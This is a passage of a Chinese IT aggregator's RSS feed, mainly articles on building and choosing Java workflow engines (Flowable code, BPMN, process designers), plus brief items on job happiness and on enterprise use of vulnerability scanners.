 &lt;p&gt;  &lt;img alt="2.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f0901613415a46dbbde894f9fb8f58e7~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;接下来，我们就把这个文件传给流程引擎，让它基于该文件，创建一个工作流。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;RepositoryService repositoryService = processEngine.getRepositoryService();
Deployment deployment = repositoryService.createDeployment()
  .addClasspathResource(&amp;quot;holiday-request.bpmn20.xml&amp;quot;)
  .deploy();
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;创建后，实际就写到内存数据库 h2 了，我们还可以把它查出来：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;ProcessDefinition processDefinition = repositoryService.createProcessDefinitionQuery()
  .deploymentId(deployment.getId())
  .singleResult();
System.out.println(&amp;quot;Found process definition : &amp;quot; + processDefinition.getName());
&lt;/code&gt;&lt;/pre&gt;
 &lt;h4&gt;创建工作流实例&lt;/h4&gt;
 &lt;p&gt;创建工作流实例，需要提供一些输入参数，比如我们创建的员工请假流程，参数就需要：员工姓名、请假天数、事由等。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Scanner scanner= new Scanner(System.in);

System.out.println(&amp;quot;Who are you?&amp;quot;);
String employee = scanner.nextLine();

System.out.println(&amp;quot;How many holidays do you want to request?&amp;quot;);
Integer nrOfHolidays = Integer.valueOf(scanner.nextLine());

System.out.println(&amp;quot;Why do you need them?&amp;quot;);
String description = scanner.nextLine();


RuntimeService runtimeService = processEngine.getRuntimeService();

Map&amp;lt;String, Object&amp;gt; variables = new HashMap&amp;lt;String, Object&amp;gt;();
variables.put(&amp;quot;employee&amp;quot;, employee);
variables.put(&amp;quot;nrOfHolidays&amp;quot;, nrOfHolidays);
variables.put(&amp;quot;description&amp;quot;, description);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;参数准备好后，就可以传给工作流了：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;ProcessInstance processInstance =
    runtimeService.startProcessInstanceByKey(&amp;quot;holidayRequest&amp;quot;, variables);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;此时，就会根据流程定义里的：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;userTask id=&amp;quot;approveTask&amp;quot; name=&amp;quot;Approve or reject request&amp;quot; activiti:candidateGroups=&amp;quot;managers&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;创建一个任务，任务有个标签，就是   &lt;code&gt;candidateGroups&lt;/code&gt;，这里的   &lt;code&gt;managers&lt;/code&gt;，可以猜得出，是给   &lt;code&gt;managers&lt;/code&gt; 建了个审批任务。&lt;/p&gt;
 &lt;h4&gt;查询并审批任务&lt;/h4&gt;
 &lt;p&gt;基于 manager 查询任务：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;TaskService taskService = processEngine.getTaskService();
List&amp;lt;Task&amp;gt; tasks = taskService.createTaskQuery().taskCandidateGroup(&amp;quot;managers&amp;quot;).list();
System.out.println(&amp;quot;You have &amp;quot; + tasks.size() + &amp;quot; tasks:&amp;quot;);
for (int i=0; i&amp;lt;tasks.size(); i++) {
  System.out.println((i+1) + &amp;quot;) &amp;quot; + tasks.get(i).getName());
}
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;审批任务：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;boolean approved = scanner.nextLine().toLowerCase().equals(&amp;quot;y&amp;quot;);
variables = new HashMap&amp;lt;String, Object&amp;gt;();
variables.put(&amp;quot;approved&amp;quot;, approved);
taskService.complete(task.getId(), variables);
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这里就是把全局变量   &lt;code&gt;approved&lt;/code&gt;，设为了   &lt;code&gt;true&lt;/code&gt;，然后提交给引擎。引擎就会根据这里的变量是   &lt;code&gt;true&lt;/code&gt; 还是   &lt;code&gt;false&lt;/code&gt;，选择走不同分支。如下：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;sequenceFlow sourceRef=&amp;quot;decision&amp;quot; targetRef=&amp;quot;externalSystemCall&amp;quot;&amp;gt;
    &amp;lt;conditionExpression xsi:type=&amp;quot;tFormalExpression&amp;quot;&amp;gt;
        &amp;lt;![CDATA[
  ${approved}
]]&amp;gt;
    &amp;lt;/conditionExpression&amp;gt;
&amp;lt;/sequenceFlow&amp;gt;
&amp;lt;sequenceFlow sourceRef=&amp;quot;decision&amp;quot; targetRef=&amp;quot;sendRejectionMail&amp;quot;&amp;gt;
    &amp;lt;conditionExpression xsi:type=&amp;quot;tFormalExpression&amp;quot;&amp;gt;
        &amp;lt;![CDATA[
  ${!approved}
]]&amp;gt;
    &amp;lt;/conditionExpression&amp;gt;
&amp;lt;/sequenceFlow&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;h4&gt;回调用户代码&lt;/h4&gt;
 &lt;p&gt;审批后，就会进入下一个节点：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;serviceTask id=&amp;quot;externalSystemCall&amp;quot; name=&amp;quot;Enter holidays in external system&amp;quot;
             activiti:class=&amp;quot;org.example.CallExternalSystemDelegate&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这里有个   &lt;code&gt;class&lt;/code&gt;，就是需要我们自己实现的：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fff7646f8f9d4942bad40c9a9b9f96db~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;最后，流程就走完结束了。&lt;/p&gt;
 &lt;h3&gt;REST API 模式&lt;/h3&gt;
 &lt;p&gt;上面介绍的方式是其作为一个 jar，内嵌到我们的程序里。创建引擎实例后，由我们业务程序去驱动引擎的运行。引擎和业务代码在同一个进程里。&lt;/p&gt;
 &lt;p&gt;第二种方式，Flowable 也可以作为一个独立服务运行，提供 REST API 接口，这样的话，非 Java 语言开发的系统就也可以使用该引擎了。&lt;/p&gt;
 &lt;p&gt;这个只需要我们下载官方的 zip 包，里面有个 rest 的 war 包，可以直接放到 tomcat 里运行。&lt;/p&gt;
 &lt;h4&gt;部署工作流&lt;/h4&gt;
 &lt;p&gt;在这种方式下，如果要实现上面举例的员工请假流程，可以通过调接口来实现：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/742fb0e5d9064bde8067c5a5ea29cb39~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;启动工作流：&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/bb98a6175d39414699f08f3328b56d15~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;其他接口就不一一展示了，可以参考官方文档。&lt;/p&gt;
 &lt;h3&gt;通过页面进行流程建模&lt;/h3&gt;
 &lt;p&gt;截止到目前，创建工作流程都是通过建立 xml 来实现的，这样还是非常不方便的。因此，系统也提供了通过页面可视化的方式来创建流程，使用鼠标拖拽相应组件即可完成。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/e32810f7ae41455a81076d89cd5b6374~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;但是体验下来还是比较辛苦的，功能很多，名词更多，有很多都不知道是什么意思，只能不断尝试来理解。&lt;/p&gt;
 &lt;h2&gt;开源 VS 自研&lt;/h2&gt;
 &lt;p&gt;既然已经有成熟的开源产品了，还需要自研吗？这算是一个老生常谈的问题了。那到底应该如何选择呢？其实并不困难，归根结底就是要符合自身的业务特点，以及实际的需求。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="open-self.drawio.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/73f094929f0e4d6a9c1561db6564c297~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;开源优势：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;入门门槛低，有很多可以复用的成果。通常而言，功能比较丰富，周边生态也比较完善，投入产出比比较高。  &lt;strong&gt;一句话总结，投入少，见效快。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;开源劣势：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;内核不容易掌控，门槛较高，通常开源的功能和实际业务并不会完全匹配，很多开源产品开箱即用做的不够好，需要大量调优。  &lt;strong&gt;一句话总结，入门容易掌控难。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;自研优势：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;产品核心技术掌控程度高，可以更好的贴着业务需求做，可以定制的更好，基于上述两点，通常更容易做到良好的性能表现。  &lt;strong&gt;一句话总结，量身定制。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;自研劣势：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;投入产出比略低，且对团队成员的能力曲线要求较高。此外封闭的生态会导致周边支持缺乏，当需要一些新需求时，往往都需要定制开发。  &lt;strong&gt;一句话总结，啥事都要靠自己。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;基于以上的分析，再结合我们自身业务，我总结了以下几点可供参考：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;开源项目均为 Java 技术栈，而我们使用 Python 和 Go 比较多，技术栈不匹配&lt;/li&gt;
  &lt;li&gt;开源项目功能丰富，而我们业务相对简单，使用起来比较重&lt;/li&gt;
  &lt;li&gt;开源项目并非开箱即用，需要结合业务特点做定制开发，学习成本和维护成本比较高&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;综上所述，我觉得自研更适合我们现阶段的产品特点。&lt;/p&gt;
 &lt;h2&gt;工作流引擎架构设计&lt;/h2&gt;
 &lt;p&gt;如果选择自研，架构应该如何设计呢？有哪些比较重要的模块和需要注意的点呢？下面来详细说说。&lt;/p&gt;
 &lt;h3&gt;BPMN&lt;/h3&gt;
 &lt;p&gt;BPMN 全称是 Business Process Model And Notation，即业务流程模型和符号。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.png" src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/07c5d27d94df4091a66648388992c20c~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;可以理解成一种规范，在这个规范里，哪些地方用空心圆，哪些地方用矩形，哪些地方用菱形，都是有明确定义的。&lt;/p&gt;
 &lt;p&gt;也就是说，只要是基于这个规范开发的系统，其所创建的流程就都是可以通用的。&lt;/p&gt;
 &lt;p&gt;其实，如果只是开发一个内部系统，不遵守这个规范也没有问题。但要是做一个产品的话，为了通用性更强，最好还是遵守这个规范。&lt;/p&gt;
 &lt;h3&gt;流程设计器&lt;/h3&gt;
 &lt;p&gt;对于工作流引擎来说，流程设计器的选型至关重要，它提供了可视化的流程编排能力，决定了用户体验的好坏。&lt;/p&gt;
 &lt;p&gt;目前主流的流程设计器有 Activiti-Modeler，mxGraph，bpmn-js 等，下面来做一个简单介绍。&lt;/p&gt;
 &lt;h4&gt;Activiti-Modeler&lt;/h4&gt;
 &lt;p&gt;Activiti 开源版本中带了 Web 版流程设计器，在 Activiti-explorer 项目中有 Activiti-Modeler，优点是集成简单，开发工作量小，缺点是界面不美观，用户体验差。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.jpeg" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9ff5430dc58c438e9f11c9dcb2e6e91a~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h4&gt;mxGraph&lt;/h4&gt;
 &lt;p&gt;mxGraph 是一个强大的 JavaScript 流程图前端库，可以快速创建交互式图表和图表应用程序，国内外著名的 ProcessOne 和 draw.io 都是使用该库创建的强大的在线流程图绘制网站。&lt;/p&gt;
 &lt;p&gt;由于 mxGraph 是一个开放的 js 绘图开发框架，我们可以开发出很炫的样式，或者完全按照项目需求定制。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="9.jpeg" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/1322a6fdbf684d5595513c6471f2b403~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;官方网站：  &lt;a href="http://jgraph.github.io/mxgrap"&gt;http://jgraph.github.io/mxgrap&lt;/a&gt;&lt;/p&gt;
 &lt;h4&gt;bpmn-js&lt;/h4&gt;
 &lt;p&gt;bpmn-js 是 BPMN2.0 渲染工具包和 Web 模型。bpmn-js 正在努力成为 Camunda BPM 的一部分。bpmn-js 使用 Web 建模工具可以很方便的构建 BPMN 图表，可以把 BPMN 图表嵌入到你的项目中，容易扩展。&lt;/p&gt;
 &lt;p&gt;bpmn-js 是基于原生 js 开发，支持集成到 vue、react 等开源框架中。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="10.png" src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f465f76b59e04498ad0ee48994ebb34e~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;官方网站：  &lt;a href="https://bpmn.io/"&gt;https://bpmn.io/&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;以上介绍的都属于是功能强大且完善的框架，除此之外，还有其他基于 Vue 或者 React 开发的可视化编辑工具，大家也可以根据自己的实际需求进行选择。&lt;/p&gt;
 &lt;h3&gt;流程引擎&lt;/h3&gt;
 &lt;p&gt;最后来说说流程引擎，整个系统的核心。引擎设计的好坏决定了整个系统的稳定性，可用性，扩展性等等。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="workflow-arch.drawio.png" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2bd0e29d8f5a4bd6adbe2cd361bf4849~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;整体架构如图所示，主要包括一下几个部分：&lt;/p&gt;
 &lt;p&gt;一、  &lt;strong&gt;流程设计器&lt;/strong&gt;主要通过一系列工具创建一个计算机可以处理的工作流程描述，流程建模通常由许多离散的节点步骤组成，需要包含所有关于流程的必要信息，这些信息包括流程的起始和结束条件，节点之间的流转，要承担的用户任务，被调用的应用程序等。&lt;/p&gt;
 &lt;p&gt;二、  &lt;strong&gt;流程引擎&lt;/strong&gt;主要负责流程实例化、流程控制、节点实例化、节点调度等。在执行过程中，工作流引擎提供流程的相关信息，管理流程的运行，监控流程的运行状态，并记录流程运行的历史数据。&lt;/p&gt;
 &lt;p&gt;三、  &lt;strong&gt;存储服务&lt;/strong&gt;提供具体模型及流程流转产生的信息的存储空间，工作流系统通常需要支持各种常见的数据库存储。&lt;/p&gt;
 &lt;p&gt;四、  &lt;strong&gt;组织模型&lt;/strong&gt;不属于工作流系统的建设范围，但流程设计器在建模的过程中会引用组织模型，如定义任务节点的参与者。还有就是在流程流转的过程中同样也需要引用组织模型，如在进行任务指派时，需要从组织模型中确定任务的执行者。&lt;/p&gt;
 &lt;p&gt;工作流引擎内部可以使用平台自身的统一用户组织架构，也可以适配第三方提供的用户组织架构。&lt;/p&gt;
 &lt;p&gt;五、工作流引擎作为一项基础支撑服务提供给各业务系统使用，对第三方系统开放标准的   &lt;strong&gt;RESTful 服务&lt;/strong&gt;。&lt;/p&gt;
 &lt;h2&gt;后记&lt;/h2&gt;
 &lt;p&gt;下面来说说我现在开发的系统支持到了什么程度，以及未来可能的发展方向。由于毕竟不是一个专门的工单系统，工单申请也只是其中的一个模块，所以在整体的功能上肯定和完整的工作流引擎有很大差距。&lt;/p&gt;
 &lt;h3&gt;第一版&lt;/h3&gt;
 &lt;p&gt;第一版并没有流程引擎，开发方式简单粗暴，每增加一个流程，就需要重新开发对应的表和业务代码。&lt;/p&gt;
 &lt;p&gt;这样做的缺点是非常明显的：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;每个流程需要单独开发，工作量大，开发效率低&lt;/li&gt;
  &lt;li&gt;流程功能相近，代码重复量大，冗余，不利于维护&lt;/li&gt;
  &lt;li&gt;定制化开发，缺少扩展性#&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;第二版&lt;/h3&gt;
 &lt;p&gt;第二版，也就是目前的版本。&lt;/p&gt;
 &lt;p&gt;随着工单流程逐渐增多，工作量逐渐增大，于是开始对流程进行优化，开发了现阶段的工作流引擎。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="sc_20221230173444.png" src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/087c945df1754d19a201905b13088b70~tplv-k3u1fbpfcp-watermark.image?"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在新增一个工单流程时，需要先进行工作流配置，配置其基础信息，自定义字段，状态和流转这些信息。还支持配置自动化节点，可以根据条件由程序自动完成相关操作并审批。&lt;/p&gt;
 &lt;p&gt;配置好之后，后端无需开发，由统一的引擎代码进行处理，包括节点审批流转，状态变更等。只需要开发前端的创建和查询页面即可，相比于第一版，已经在很大程度上提高了开发效率。&lt;/p&gt;
 &lt;p&gt;目前版本需要优化的点：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;缺少可视化流程设计器，无法做到拖拽式设计流程&lt;/li&gt;
  &lt;li&gt;节点之间状态流转不够灵活&lt;/li&gt;
  &lt;li&gt;缺少分布式事物支持，以及异常处理机制&lt;/li&gt;
&lt;/ol&gt;
 &lt;h3&gt;下一个版本&lt;/h3&gt;
 &lt;p&gt;针对以上不足，下一个版本准备主要优化三点，如下：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;需要支持可视化流程设计器，使流程设计更加简单，灵活&lt;/li&gt;
  &lt;li&gt;根据流程配置自动生成前端页面，做到新增一种类型的工单，无需开发&lt;/li&gt;
  &lt;li&gt;增加节点自动化能力，异常处理机制，提高系统的稳定性&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;以上就是本文的全部内容，如果觉得还不错的话欢迎  &lt;strong&gt;点赞&lt;/strong&gt;，  &lt;strong&gt;转发&lt;/strong&gt;和  &lt;strong&gt;关注&lt;/strong&gt;，感谢支持。&lt;/p&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;p&gt;  &lt;strong&gt;参考文章：&lt;/strong&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;a href="https://www.cnblogs.com/grey-wolf/p/15963839.html"&gt;https://www.cnblogs.com/grey-wolf/p/15963839.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://www.cnblogs.com/duck-and-duck/p/14436373.html#!comments"&gt;https://www.cnblogs.com/duck-and-duck/p/14436373.html#!comments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://zhuanlan.zhihu.com/p/369761832"&gt;https://zhuanlan.zhihu.com/p/369761832&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://zhuanlan.zhihu.com/p/143739835"&gt;https://zhuanlan.zhihu.com/p/143739835&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://bbs.qolome.com/?p=365"&gt;https://bbs.qolome.com/?p=365&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;   &lt;a href="https://workflowengine.io/blog/java-workflow-engines-comparison/"&gt;https://workflowengine.io/blog/java-workflow-engines-comparison/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p&gt;  &lt;strong&gt;推荐阅读：&lt;/strong&gt;&lt;/p&gt;
 &lt;ul&gt;
  &lt;li&gt;   &lt;a href="https://mp.weixin.qq.com/s/hRd1UNMRutmA6MGmswweBw"&gt;Git 分支管理策略&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62583-%E5%B7%A5%E4%BD%9C%E6%B5%81-%E5%BC%95%E6%93%8E-%E6%9E%B6%E6%9E%84</guid>
      <pubDate>Wed, 11 Jan 2023 12:51:24 CST</pubDate>
    </item>
    <item>
      <title>美国最快乐的工作是伐木工</title>
      <link>https://itindex.net/detail/62580-%E7%BE%8E%E5%9B%BD-%E5%BF%AB%E4%B9%90-%E5%B7%A5%E4%BD%9C</link>
      <description>美国的伐木工人从事着地球上最快乐最有意义的工作。根据对美国劳工局美国人时间使用调查（American Time Use Survey）的分析，农业、伐木业和林业从业者有着最高的自我报告的幸福水平，以及最低的自我报告的压力水平。美国人时间使用调查要求记录一天中任意时刻在做什么。2010 到 2021 年展开的四次调查还询问了一部分人这些活动的意义，或者他们的快乐、悲伤、压力、痛苦和疲劳程度。快乐和意义并不总是相关的。医护和社会工作者认为他们做着最有意义的工作，但他们并不感到快乐，而且感到压力很大。伐木工人则认为他们做着最快乐最有意义的工作。压力最大的行业包括金融和保险行业，以及教育和科技行业，其中压力最大的单一职业是律师。总体上，白领可能比蓝领的压力大得多。
 &lt;p&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62580-%E7%BE%8E%E5%9B%BD-%E5%BF%AB%E4%B9%90-%E5%B7%A5%E4%BD%9C</guid>
      <pubDate>Mon, 09 Jan 2023 20:42:57 CST</pubDate>
    </item>
    <item>
      <title>黑客或者从事安全领域工作的人用metasploit、Nessus这些工具用的多吗？ - 知乎</title>
      <link>https://itindex.net/detail/62544-%E9%BB%91%E5%AE%A2-%E4%BB%8E%E4%BA%8B-%E5%AE%89%E5%85%A8</link>
      <description>&lt;div&gt;    &lt;p&gt;可耻地匿了。&lt;/p&gt;    &lt;p&gt;作为一个世界500强的金融企业，我们对于漏洞自查这块，完全依赖于商业版Findstone，在买这个以前，自查都用的免费版Nessus。上面反映的威胁，中、高、高危一律限期整改，结束。&lt;/p&gt;    &lt;p&gt;我们会自己写脚本来加固标装OS，会聘请军工来对自己进行透渗试测，会优化基线并推行，但是不会自己写工具实现自己的需求。因为领导相信：员工只需要做我安排的任务就可以了，这种专业的事情还是买来的好。(╯‵□′)╯︵┻━┻不止一个项目，我们私底下都说这大几百万你给我一半就行我保证给你办好绝对实现你的需求，但是领导不干啊，即使只考虑法律保障道德风险也就决定了领导还是只会去买厂商的整体解决方案不会交给我们耍的。&lt;/p&gt;    &lt;p&gt;各位不管你们搞攻击的还是搞安全的机会都大大的啊。。。除了漏洞这块至少还有十几个领域，任一个领域做到了与世界水平相近，你们的机会就很大了，因为很多企事业单位不让用国外产品，或者在条件相同的情况下喜欢国内的二次开发，你看我都不提价格优势。。。&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62544-%E9%BB%91%E5%AE%A2-%E4%BB%8E%E4%BA%8B-%E5%AE%89%E5%85%A8</guid>
      <pubDate>Thu, 15 Dec 2022 09:48:57 CST</pubDate>
    </item>
    <item>
      <title>极简 Java 工作流概念入门</title>
      <link>https://itindex.net/detail/62383-java-%E5%B7%A5%E4%BD%9C%E6%B5%81-%E6%A6%82%E5%BF%B5</link>
      <description>&lt;p&gt;关于 Flowable 松哥已经更新了好几篇文章了，不过考虑到有的小伙伴可能还从来没接触过流程引擎，因此有一些基础的内容我再来和小伙伴们梳理一下。&lt;/p&gt; &lt;h2&gt;1. 为什么需要工作流&lt;/h2&gt; &lt;p&gt;松哥将之前的文章转发到朋友圈后，有小伙伴评论说一直不理解为什么需要工作流，今天我们就先来说说这个话题。&lt;/p&gt; &lt;p&gt;假设我有一个请假需求，流程如下：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383901" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;请假可以提交给我的上司，上司可以选择批准或者拒绝，无论批准还是拒绝，都会给我一个通知。&lt;/p&gt; &lt;p&gt;这个流程比较简单，我们很容易想到解决方案，不用工作流也能解决，有一个专门的请假表，当 A 要请假的时候，就往请假表中添加一条记录，这条记录的内容包含了请假的天数、原因、请假的审批人 B 以及一个名为 status 的字段，这个 status 字段表示这个请假申请目前的状态（待审批、已批准还是已拒绝），然后 B 登录系统之后，在请假表中查询到了 A 的请假信息，然后选择批准，此时将 status  字段的值改一下就行了。&lt;/p&gt; &lt;p&gt;这个流程很简单，相信小伙伴们都能想到。&lt;/p&gt; &lt;p&gt;然而，这是一个非常简单的流程，对于这样的流程，一般来说也确实没有必要使用工作流，但是现实中，我们涉及到的工作流往往都是非常复杂的，我举个例子，就说报销审批吧，这个可能很多小伙伴都经历过。&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383902" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;小伙伴们看到，这个流程相对来说还是比较复杂的，此时你再用一个 status 字段去描述，就很难说的请到底是怎么回事了。每一步审批，都有可能批准也有可能拒绝，拒绝并不意味着流程结束，员工修改报销资料之后，还可以继续提交。此时如果还用 status 去描述，那么 status 将有 N 多个值去表示不同的情况，这个维护起来非常不便。&lt;/p&gt; &lt;p&gt;这就复杂了吗？非也非也，我们再来看一个生产笔记本电脑的例子，假设公司研发了一款新型笔记本电脑，整个研发到生产的流程可能是这样：&lt;/p&gt; &lt;p&gt;  &lt;img alt="" src="https://segmentfault.com/img/remote/1460000042383903" title=""&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;相比上面两个，这个就更复杂一些了，不仅有串行任务还有并行任务，如何去设计这样一个系统？单纯的通过状态字段去描述显然已经不够用了，此时我们就得考虑一种通用的、更易维护的方案来实现这样的系统了，这种通用的、易维护的方案，也就是工作流。&lt;/p&gt; &lt;h2&gt;2. 三大工作流&lt;/h2&gt; &lt;p&gt;一个比较早的工作流是 jBPM，这是一个由 Java 实现的企业级流程引擎，是 JBoss 公司开发的产品之一。&lt;/p&gt; &lt;p&gt;jBPM 的创建者是 Tom Baeyens，这个大佬后来离开了 JBoss，并加入到 Alfresco，并推出了基于 jBPM4 的开源工作流系统 Activiti，而 jBPM 则在后续的代码中完全放弃了 jBPM4 的代码。从这个过程中也能看出来，jBPM 在发展过程中，由于意见相左，后来变成了两个 jBPM 和 Activiti。&lt;/p&gt; &lt;p&gt;然而戏剧的是，Activiti5 没搞多久，从 Activiti 中又分出来一个 Camunda，Activiti 继续发展，又从中分出来一个 Flowable。。。&lt;/p&gt; &lt;p&gt;由于开发 jBPM、Activiti、Camunda 以及 Flowable 的人多多少少有一些关联性，让人不得不猜测意见相左拉一票人出来单干是他们的企业文化。&lt;/p&gt; &lt;p&gt;所以现在市面上主流的流程引擎就一共有三个：&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;Activiti&lt;/li&gt;  &lt;li&gt;Flowable&lt;/li&gt;  &lt;li&gt;Camunda&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;这三个各有特点：&lt;/p&gt; &lt;ol&gt;  &lt;li&gt;Activiti 目前是侧重云，他目前的设计会向 Spring Cloud、Docker 这些去靠拢。&lt;/li&gt;  &lt;li&gt;Flowable 核心思想还是在做一个功能丰富的流程引擎工具，除了最最基础的工作流，他还提供了很多其他的扩展点，我们可以基于 Flowable 实现出许多我们想要的功能（当然这也是小伙伴们觉得 Flowable 使用复杂的原因之一）。&lt;/li&gt;  &lt;li&gt;Camunda 相对于前两个而言比较轻量级，Camunda 有一个比较有特色的功能就是他提供了一个小巧的编辑器，基于 bpmn.io 来实现的（松哥之前已经发文讲过了）。如果你的项目需求是做一个轻巧的、灵活的、定制性强的编辑器，工作流是嵌入式的，那么可以选择 Camunda。&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;如果仔细比较起这三个的差异，能列一个长长的表格，这个网上也有不少人都总结过了，松哥这里也就不啰嗦了。&lt;/p&gt; &lt;h2&gt;3. 流程图&lt;/h2&gt; &lt;p&gt;既然有三个不同的工作流，那么三个不同的工作流画出来的流程图是否都各不相同呢？&lt;/p&gt; &lt;p&gt;不是的。&lt;/p&gt; &lt;p&gt;工作流程图这块其实有一个统一的标准，那就是 BPMN。BPMN 全称是 Business Process Model and Notation，中文译作业务流程模型和标记法，这个中文太绕口了，还是简称 BPMN 吧。&lt;/p&gt; &lt;p&gt;这是一套图形化表示法，用图形来表示业务流程模型。BPMN 最初由业务流程管理倡议组织（BPMI, Business Process Management Initiative）开发，BPMI 于 2005 年与对象管理组织（OMG, Object Management Group）合并，并于 2011 年 1 月 OMG 发布 2.0 版本，同时改为现在的名称。&lt;/p&gt; &lt;p&gt;一句话，就是流程图这块有一个特别古老的规范，那就是 BPMN，而我们前面所说的无论是 Activiti、Flowable 还是 